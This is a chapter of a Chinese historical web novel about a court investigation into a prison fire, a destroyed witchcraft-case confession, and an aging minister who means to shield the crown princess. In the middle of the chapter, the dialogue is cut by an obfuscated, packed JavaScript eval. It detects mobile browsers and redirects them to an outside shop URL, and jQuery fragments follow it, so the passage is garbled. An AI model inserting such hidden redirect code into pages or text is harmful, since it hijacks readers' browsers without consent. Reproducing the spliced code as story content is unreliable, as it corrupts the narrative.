雪霁太阳出。
小吏低眉瞬目小跑到京兆尹窦凯旋身边耳语几句,得到了窦凯旋的准许,不多时,小吏便从大敞的偏堂外引入一人,身后跟着两名长缨卫千户,堂内众人一见来人,顿时都起身河蚌似的闭上嘴。
甲胄在身的张永一朝正坐在上首的窦凯旋略施一礼,这才能注意到站在一旁脸色铁青的工部尚书薛正衢。他朝薛正衢行礼,不忘见过品级高过他的刑部侍郎阮折纭,这才与跟他平级的大理寺少卿萧蘋和左佥都御史李闻达颔首示意。
这是他第一次代表东宫登堂入室,礼数不能错上一点。
窦凯旋起身,命人上茶,“而今太子殿下监国,张佥事既奉太子令问询此案,便请上座。”
张永一沉默地走到他右手边摆着的那把椅子前站定。
窦凯旋不管这年轻人的谦恭,重新坐了下去发话:“继续议。”
待薛正衢也落座,张永一这才坐下。
“张佥事应当还不知道事情始末——”窦凯旋转头叫住最末坐着的那名书办,“你把事情完完整整地说给张佥事听。”
那书办颤巍巍起身,“昨夜京兆狱失火,架格库也被波及,一份涉及阳安伯府巫蛊案的口供被毁。经目击者彭志检举,这把火是本府司法参军岳筑璜岳大人的长随楚鹏恶意放的,今晨逮捕楚鹏,楚鹏招认正是岳大人指使,且他曾听见岳大人与薛尚书的王管家阴私密谋,是要想办法给阳安伯府脱罪。小人所说,句句皆有案可寻。”
张永一按捺着心中惊骇,听窦凯旋道:“今日午后,本府依律逮捕原司法参军岳筑璜,并传薛府管家王必大至府接受问讯,王必大闻风而逃,本府最终在扶风郡界将人逮捕……”
终于忍受不了的薛正衢插话:“他是按照老夫的命令,今早前往郊外庄子查账,此番行程数日前就有了规划,家中尽人皆知,绝非临时起意,更非所谓的‘闻风而逃’!”
“薛尚书,本府言有差错还望恕罪,只是,现在正与张佥事叙述案情,尚书大人还是莫要着急打搅的好。”
窦凯旋向张永一继续道:“薛尚书来我府,是为了管家王必大所谓‘无辜被捕’之事,并非本府胆大包天提尚书大人过堂审问,还望张佥事在太子殿下面前陈情。”
张永一叉手示礼,顺便将临走前太子的主意换过语气说出来:“实话实说,这是一定。只是末将听闻此案已牵扯朝廷官员,依《大楚律》理应移交三司,至承天殿上论过。”
“这是当然,所以本府今日请三司属官前来了解情况,走完流程便会将案件一并移交,张佥事敬请放心。”
得到了准信,张永一便点点头,安静地听堂中质疑声起。
阮折纭这个刑部侍郎列正三品,比窦凯旋这个京兆尹还高上一头,他首先问话:“阳安伯府巫蛊之案,本官从未听说,还望窦大人详解。”
“阮侍郎明鉴,本府也是在抚远伯之案后将将知晓,原来阳安伯府的家贼盗窃案实是掩人耳目之说,有楚鹏的供词证明,此案就是岳筑璜设计,用来帮助阳安伯府脱罪的。”
大理寺少卿萧蘋接着问:“能否详说,岳筑璜是如何设计的,以至于府尹大人都能被欺瞒?”
萧蘋话中的诘问意很明显,窦凯旋不怒,底气也足,不着急解释,而是起身朝众人欠身,“这的确是本府的疏漏。岳筑璜是跟在本府身边十年的司法参军,本府从前对他尤其信赖,实在没想到他居然能犯下这样的重罪。待此案了结,本府就会入宫自劾,以此为诫,再不会胡乱用人。”
“府尹大人还是讲讲案情吧。”萧蘋催道。
窦凯旋叹气懊恼,叫出身边侍候的又一名书办,“你说吧。”
这书办朝众人行礼,“回禀诸位官爷,上月本府接到报案,报案的是羊车巷刘府的奴婢鹿儿,据此女所说,初夏时节阳安伯在羊车巷隔壁的宅院里养了一位外室蒋小娘,蒋小娘向岭南师婆阿疯请教厌胜之术,特意扎了小人诅咒阳安伯夫人。此事为阳安伯夫人的眼线知晓,伯夫人便登门闹事。师婆阿疯、伯夫人登门俱为她亲眼所见。”
那书办咽了咽口水,继续往下说:“阳安伯为了此事前往本府疏通,只以家贼盗窃之事陈述案情,府尹大人着令原司法参军岳筑璜详细核查。但事先,阳安伯就与岳筑璜互相串通,更向鹿儿的主家刘财主说情,故而一拿到办案授权,岳筑璜即刻逼迫鹿儿改口,婢女鹿儿受到主家施压当堂反水,但是外室蒋小娘对伯夫人积怨已久,死活不肯改口,于是岳筑璜多次私密闻讯蒋小娘无果,将唯一一份不合时宜但过了明路的口供锁入架格库,让楚鹏以证据不全需继续调查案情为由,将本案拖拉数日,直到上月末蒋小娘滑胎病死,才以‘家贼盗窃’结案。”
佥都御史李闻达看向面不改色的窦凯旋插话道:“既然成功结案,岳筑璜为何不在蒋小娘死后,即刻毁坏口供,一定要拖到现在?还放了这么一把大火,更让人抓住了把柄?”
窦凯旋解释:“诸位有所不知,本府的架格库,只在初一和十五两日开放,蒋小娘的口供刚好是十五那日混入的架格库。”
阮折纭:“这倒是闻所未闻的规矩。”
李闻达又问:“那为何本月初一,岳筑璜不动手?”
“近来无案,且少有人进出架格库,库中都是已经了结的陈年旧案,若是过于急切露了马脚——”窦凯旋摇头,“岳筑璜一直都是十分有城算的人,他不会这么莽撞。”
听到现在,张永一心中谜团迭起,奈何他不能随便说话,只能继续平息着心里的焦躁,听他们挨个问。
萧蘋:“这把火不小,半个京兆狱都点着了,那么又是如何确定,蒋小娘的口供没有在火中付之一炬,而非早先所说安然藏在其他案卷之中?光凭楚鹏的口供?只要尚有一丝脱罪的希望,他如何会主动说起这份口供?是诱供吗?还是严刑逼供?”
窦凯旋霍然站起,“萧少卿慎言!”
这时候薛正衢也说话了,老爷子明显动了真火,“窦大人,那你为何不愿让岳筑璜和楚鹏与老夫当面对质?王必大被抓,老夫合理请求探监为何被拒?”
“本案复杂,即将移交三司,尚书大人更牵扯其中,本府不敢让人犯有失,尚书大人当理解下官。”
薛正衢气血上涌,萧蘋连忙继续逼问:“窦府尹,回答本官的问题。”
窦凯旋击掌两声:“正好,让人呈上来吧。”
书办退下,片刻即捧盘而归,盘中放了一角火烧残页,上头写的正是蒋小娘的画押。
窦凯旋的视线逡巡堂内每一个探头观望之人,“真是极大的巧合,可见老天有眼,不欲使恶人逃脱、真相蒙尘!”
**
“张佥事留步。”
张永一驻足,回头就见工部尚书薛正衢缓步追来,他即刻折返,弯腰垂首倾听,“尚书大人有何见教?”
薛正衢出一趟京兆府,就如同一霎那苍老了三十岁,他本来就有了年纪,这一下更衰老得有如风中残枝,像极了年初的崖然。
“张佥事自东宫来……太子夫妇可还好?”
触及薛正衢眼中的柔软脆弱,张永一顿时想起太子妃薛元映得知老父亲往京兆府时的骇然焦急。为防言官议论,他们父女两个一年到头只能在千秋节、岁末宫宴和皇孙生辰宴上见面,寻常时候更是连书信都不敢多通。薛正衢生怕给女儿带来广涉前朝、联络娘家的非议,薛元映则怕东宫的事端牵连上自己鲜有争心的老父。
临行前,太子妃说这个节骨眼上薛正衢莫名前往京兆府,恐怕是他在京兆府里供职的学生岳筑璜出了差错,岳筑璜是他的爱徒,他必然着急得心煎。
她的预感果然灵验,非但是岳筑璜出了差错,通过岳筑璜与薛正衢的一番师生恩义,恐怕东宫都要下水。毕竟这个时候无端挑事,只能是剑指东宫。
张永一斟酌词句,诚恳道:“太子妃很担心您。”
薛正衢叹气,这气一叹,整个人都似失了精神,他双目迷茫,口中喃喃:“是我给她添麻烦了。”
“尚书大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001063|192089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,太子妃是真的牵挂您的安危,这样的话她听了,必会伤心。”
“那便请张佥事不要告诉她。”
张永一口中含苦。
薛正衢垮着精神不知想了什么,抬起头望向他时,满目都是祈求,“还望张佥事帮老夫传个话。”
“您且讲。”
“让她不要操心了,这些事我会处理好的,必不会连累东宫。”
“大人!”
薛正衢微微摇头,制止张永一神色里的不忍,“这就是个局,在咱们这位陛下这里,遇上‘巫蛊’二字便是无解。今日能攀扯上筑璜,明日就会说老夫是幕后主使——不,他们已经这么说了,但还有后日啊,化隆城里的人情往来复杂如网,天知道后日还会扯出什么人?事情到老夫这里就该有个了断,以免伤及无辜、遂了贼人心愿。”
张永一低头,难掩哀求,“大人,有什么事情可以和太子、太子妃一起商量,千万不能拿自己的性命冒险……”
薛正衢却忽然看着他笑,欣赏有,更多的全是苦涩,“你还太年轻,太不会隐藏自己,这样很不好。”
张永一心一紧,攥着双拳,眼看着薛正衢,这个算是他爷爷辈分的老人朝他叉手一礼,“多谢张佥事了。”
**
张永一回来时,就听见了常年深居简出、不论时局的梁国长公主这么斩钉截铁地给此案定了结局:“何家,谋反之罪,不容置喙了。”
张八郎道:“仅仅是养蛊就定了谋反,这会否……”
梁国长公主叹气:“蛊,就是巫蛊,但凡沾上这个东西,谁能善终、谁允善了?年初才闹了元良这一档子事,满朝文武和他唱反调,现在陈王就藩,陛下心里极不痛快,他又是个敏感多疑的人,这个时候谁要驳他,谁就要遭罪。”
张八郎耷拉眉眼,“我听说梅阁老极其反对如此轻率定案,毕竟三司都没审过,光凭着陛下在五柞宫的一纸诏令,恐令天下不服。梅阁老为了陛下声名计,打算写了折子呈送到五柞宫,劝陛下三思。”
“一年之内,王侯贵戚连灭两门,化隆城里人人自危。但是,陛下的心比铁还硬,又在气头上,根本不会听的,梅阁老贸然建言,必定会吃亏。”
“梅阁老也是为了陛下、为了朝廷、为了百姓好。”
“独独没有为了他自己、为了他梅家后人!”
两个上了年纪的人都不禁垂头丧气,忽然听屏风后张永一刻意放重的脚步声响起,两个人又一齐绽出了笑容。
“络儿回来了?”
“给祖母、叔祖请安。”
梁国长公主笑问:“是得了休沐日子了吗?几天?”
张永一不敢看祖母的期待,只低头闷闷答:“没有,孙儿今日回来,是因为接下来应当都要宿在卫所。”
不用看,只听也能听见梁国的失落:“络儿辛苦了……那今天我叫人好生准备一顿饭,给你好好补补……在卫所吃不好、睡不好……你人都憔悴了……”
张永一不知道自己是怎样从愧疚与心疼筑就的牢笼里逃出生天的,一出房门,张八郎就叫住了他,就这样突兀地直接问他:“络儿,你心里是有人了吗?”
张永一霍然抬头,就见张八郎静静看着自己。
他连忙错开眼,“叔祖……您为何突然……这么问?”
“与郭家的见面一拖再拖,再有你近来总是魂不守舍的。”
张永一沉默。
“你还年轻,什么事也藏不住。若真是如此,你早些与你祖母说清,她是真心希望你能有个好归宿,若她知道自己成了棒打鸳鸯的王母、将来铸成大错,那时候她……”
张八郎不忍再说,只嘱咐道:“在卫所不比在家,你好好照顾自己,近来朝中事多,非有必要不要介入,我知道你从小在道理是非上锱铢必较,这些年有所顾忌,便也沉稳不少,但外敛而内愈炽烈,这些事情压在心里,千万不要把自己困住了。”
张永一沉默敛容,目送唉声叹气的张八郎离开。